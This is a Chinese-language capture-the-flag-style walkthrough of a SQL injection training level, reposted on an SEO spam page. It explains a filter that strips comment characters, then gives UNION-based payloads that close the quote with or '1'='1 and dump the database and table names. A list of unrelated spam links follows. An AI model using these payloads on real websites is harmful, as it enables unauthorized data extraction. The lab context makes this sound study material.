当前位置: 首页 > wzjs >正文

搭建网站设计seo对网络推广的作用是什么?

搭建网站设计,seo对网络推广的作用是什么?,linux系统运行wordpress,汕头seo快速排名一、审题这一关开始进入了靶场的第二阶段:进阶注入。看一下题目,乍一看和第一题很像,id传参试一试。测试闭合方式,根据报错信息推测是单引号闭合,但是发现加了注释符后还是报错。二、思考思考一下,单引号闭…

一、审题

这一关开始进入了靶场的第二阶段:进阶注入。

看一下题目,乍一看和第一题很像,id传参试一试。

测试闭合方式,根据报错信息推测是单引号闭合,但是发现加了注释符后还是报错。

 二、思考

思考一下,单引号闭合,加了注释符还报错,说明注释符没有起到效果,推测注释符被过滤掉了。

悄悄查看一下源代码,果然是过滤了注释符号:

$reg = "/#/";           // 定义正则表达式,用于匹配字符 '#'
$reg1 = "/--/";         // 定义正则表达式,用于匹配连续的两个横线 '--'
$replace = "";          // 设置替换内容为空字符串,即删除匹配到的文本
$id = preg_replace($reg, $replace, $id); // 执行第一次替换:删除 $id 中所有的 '#' 字符
$id = preg_replace($reg1, $replace, $id); // 执行第二次替换:删除 $id 中所有的 '--' 字符串

我们利用注释符的目的是截断末尾,构造完整的闭合。

//源代码;
SELECT * FROM users WHERE id='$id' LIMIT 0,1//构造注释符;
SELECT * FROM users WHERE id='$id' union select 1,2,3 --+ 'LIMIT 0,1

现在的问题是,末尾的'LIMIT 0,1处理不了,这样语法就是不正确的。尝试构建完整闭合语法来实现注入。

SELECT * FROM users WHERE id='-1' union select 1,2,3 or '1' = '1 'LIMIT 0,1

这句话保持了语法完整,闭合了末尾单引号,用or构建了永真条件,'1'(字符串)比1(整数)更严谨。

三、做法

1.爆数据库名;

?id=-1'union select 1,database(),3 or '1'='1

2.爆表名;

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'='1

3.爆字段,爆数据。

注意:在爆表名中使用and会返回当前数据库中的表,使用or会返回所有表。这是and和or存在的逻辑差异,具体情况具体使用。

http://www.dtcms.com/wzjs/423204.html

相关文章:

  • 邯郸网站制作哪里做长沙做网站的公司有哪些
  • 网站建设改版廊坊网站建设优化
  • 中企动力网站建设 医疗seo研究中心培训机构
  • 外贸 wordpress模板下载seo关键词怎么选
  • 申请做网站_论坛版主重庆seo论
  • 做网站建设公司赚钱谷歌商店下载官网
  • 电商购物网站建设ueeshop建站费用
  • 网站平台开发与应用面试2000元代理微信朋友圈广告
  • 大学生个人简历word免费模板网站优化培训班
  • 阿里云 做网站上海网站推广优化
  • 交换机做网站上海关键词优化报价
  • 佛山外贸网站建设价位网页制作软件手机版
  • 做一个简单网站多少钱网站优化方案设计
  • 前端做网站需要学什么建站优化
  • 免费网站源码...邳州网站开发
  • 网站开发方案百度本地惠生活推广
  • 整形网站建设方案策划书双滦区seo整站排名
  • 杭州免费网站建站模板软文什么意思范例
  • 门户网站建设服务收费优化关键词怎么做
  • 报告范文大全贵阳百度快照优化排名
  • 网站建设项目需求分析报告seo根据什么具体优化
  • 网站建设静态代码搜索引擎优化分析报告
  • 做街机棋牌上什么网站发广告自媒体视频发布平台
  • dedecms关闭网站免费ip地址网站
  • 做网站教程视频宁波最好的推广平台
  • 微信网站域名备案成功后怎么做西安百度seo
  • wordpress 推广插件凌哥seo
  • 唐山市住房和城乡建设局网站做网销的一天都在干嘛
  • Linux做视频网站网速均衡国家市场监管总局
  • 台州外贸网站建设广告牌